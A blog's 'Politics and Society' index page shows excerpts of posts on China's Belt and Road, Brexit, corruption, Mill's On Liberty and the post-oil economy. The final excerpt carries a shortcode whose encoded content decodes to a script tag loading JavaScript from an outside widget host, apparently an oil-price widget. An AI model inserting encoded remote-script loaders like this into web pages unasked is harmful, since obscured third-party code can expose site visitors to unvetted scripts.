CategoryPolitics and Society

The Belt and Sino-European Relations


In the previous post, Silk Road- Alternative Governance, we stated that “some experts claim there is a deeper and more competitive objective of modern ‘Silk Road’. They claim that the initiative is a Chinese grand strategy towards Europe, Asia, and Africa…” The Silk Road Initiative (The Belt) is a currently vague but evolving, long-term vision of China for Eurasian infrastructural improvement...

Behavioral Analysis of Public Policy


While a part of public policies deals with market and government failures which are highlighted by welfare economics and public choice economics respectively, recently surged trend is the impact of ‘individual failure’ on the public economics. Suppositions about psychology/behavior are a crucial part of the policymaking. An analyst may customize the problems defined, set individual objectives and...

Corruption- can it be avoided?


  In Principal-Agent problem, agent serves (or fails to serve) the interests of a principal. The action of agent on behalf of his principal requires some discretion. There are situations that include 3rd party players (persons or corporate identities) who gains/loses by the action of the agent. There are regulations, violation of which causes a possibility of a cost (as a penalty) being...

Boserupian Evolution of Agriculture

credit: TheDialogue

Boserup argues that the main stimulus to development of agriculture and productivity is the population growth. Her argument was an opposing view against the Malthus and Ricardo, who developed the macroeconomic theory of the relationship between demographic and agricultural movement in Europe. Mathusian theory claimed that “a population can never increase beyond the food supplied necessary to...

John Mill’s On Liberty


Persons of genius, it is true, are, and are always likely to be, a small minority; but in order to have them, it is necessary to preserve the soil in which they grow. – J.S.Mill Ultimately, while striving to get through the each subsequent day, I’ve managed to finish the ‘On Liberty’ by John. S. Mill. If my memory does not fluctuate too much from reality, I saw this...

BREXIT, Nationalism, EU


Author: MOHAMED A. EL-ERIAN The aftermath of the United Kingdom’s unexpected vote in June to leave the European Union is being monitored closely. People all over the world – and particularly in Europe – want to know how Brexit will unfold, not just to manage its specific effects, but also to gain insight into what is likely to happen if other upcoming votes tip in favor of nationalist agendas...

Democratic Socialism in the USA


by Bernie Sanders [intense_dropcap font_color=”primary”]I[/intense_dropcap]n his inaugural remarks in January 1937, in the midst of the Great Depression, President Franklin Delano Roosevelt looked out at the nation and this is what he saw. He saw tens of millions of its citizens denied the basic necessities of life. He saw millions of families trying to live on incomes so meager that...

Dilemma of BREXIT


urope witnesses it’s first-of-its-sort tragedy throughout EU history. UK became the first country to ‘divorce’ EU since its creation. The event has become the headline in every prominent news and it still continues to be. As there were Leavers and Keepers, now there are pessimists and optimists about the future of both EU and UK.

Global Post-Oil Situation


[intense_code type=”js” raw_content=”JTNDc2NyaXB0JTIwdHlwZSUzRCUyMnRleHQlMkZqYXZhc2NyaXB0JTIyJTIwc3JjJTNEJTIyaHR0cCUzQSUyRiUyRjEwMHdpZGdldHMuY29tJTJGanNfZGF0YS5waHAlM0ZpZCUzRDExOCUyMiUzRSUzQyUyRnNjcmlwdCUzRQ==”] [/intense_code] [intense_dropcap]I [/intense_dropcap]t’s not so difficult to see the current situation in global markets and economies. After Oil price...